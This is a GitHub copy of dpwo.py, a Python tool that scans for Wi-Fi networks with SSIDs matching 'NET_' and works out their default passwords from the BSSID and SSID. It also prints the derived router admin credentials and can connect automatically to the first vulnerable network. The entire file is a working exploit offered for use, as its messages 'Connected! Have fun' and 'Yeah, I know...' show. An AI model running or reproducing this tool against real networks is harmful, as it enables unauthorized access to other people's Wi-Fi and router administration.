forked from caioluders/DPWO
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdpwo.py
166 lines (130 loc) · 4.96 KB
/
dpwo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
# -*- coding: utf-8 -*-
import subprocess, argparse, sys
from re import compile
from wifi import Cell, Scheme
'''
DPWO
Default Password Wifi Owner 0.3v
python3
'''
AIRPORT_PATH = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport"
class NETOwner():
def __init__(self, iface, connect=False, regex="^NET_",
airport=AIRPORT_PATH, verbosity=0):
self.iface = iface
self.connect = connect
self.regex = compile(regex)
self.airport = airport
self.verbosity = verbosity
self.os = sys.platform
def osx_networks(self):
scan = ""
while scan == "": # for some reason airport fails randomly
scan = subprocess.check_output([self.airport, "scan"]).decode()
# scan the area for wifi
scan = scan.split("\n")
for wifi in scan:
obj = str.split(wifi)
if len(obj) > 0:
yield obj
def linux_networks(self):
scan = Cell.all(self.iface)
for wifi in scan:
obj = [wifi.ssid, wifi.address, wifi.signal, wifi.channel, wifi]
yield obj
def scan_network(self):
if self.os == "linux" or self.os == "linux2":
scanner = self.linux_networks()
elif self.os == "darwin":
scanner = self.osx_networks()
# elif os == "win32":
results = []
for wifi in scanner:
if self.verbosity > 1:
print(wifi)
# match NET"s default SSID
if self.regex.search(wifi[0]) is not None:
print("Found WIFI!")
# the password consists of CM_MAC last 4 hexas of the router,
# which are the third hexa of the BSSID
# plus the last 3 hexas of the SSID
chunks = [
"".join(wifi[1].upper().split(":")[2:3]),
wifi[0].split("_")[1][2:]
]
password = "".join(chunks)
results.append([wifi[0], password, wifi[1]])
if self.os != "darwin":
Scheme.for_cell(
self.iface, wifi[1], wifi[4], password
).save()
return results
def connect_net(self, wifi):
if self.os == "linux" or self.os == "linux2":
status = self.connect_net_osx(wifi)
elif self.os == "darwin":
status = self.connect_net_linux(wifi)
# elif os == "win32":
return status
def connect_net_osx(self, wifi):
connect = subprocess.check_output([
"networksetup", "-setairportnetwork",
self.iface, wifi[0], wifi[1]
]).decode()
if self.verbosity > 0:
print(connect)
return "Failed" not in connect
def connect_net_linux(self, wifi):
return Scheme.find(self.iface, wifi[1]).activate()
def own(self):
wifi_available = self.scan_network()
if len(wifi_available) == 0:
print("No NET WiFi available :'(")
else:
connected = False
for wifi in wifi_available:
print("WI-FI: " + wifi[0])
print("Password: " + wifi[1])
if self.verbosity > 0:
print("Admin credentials of the router: ")
print("User: " + wifi[0])
print("Password: NET_" + wifi[1][2:])
# the password is the full CM_MAC
print("Yeah, I know...")
if not connected and self.connect:
print("Trying to connect...")
if self.connect_net(wifi):
print("Connected! Have fun (:")
connected = True
else:
print("Nope :(")
def parse_args():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument("-i", "--interface", default="wlp3s0",
help="Network interface.")
parser.add_argument("-c", "--connect", action="store_true", default=False,
help="Autoconnect to the first vulnerable network.")
parser.add_argument("-r", "--regex", default="^NET_",
help="Regular expression to match networks.")
parser.add_argument("-a", "--airport", default=AIRPORT_PATH,
help="Airport program path.")
parser.add_argument("-v", "--verbosity", action="count",
help="Increase output verbosity.")
args = parser.parse_args()
return args
def main():
print("DPWO v0.3")
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
args = parse_args()
owner = NETOwner(
args.interface,
connect=args.connect,
regex=args.regex,
airport=args.airport,
verbosity=args.verbosity or 0
)
owner.own()
if __name__ == "__main__":
main()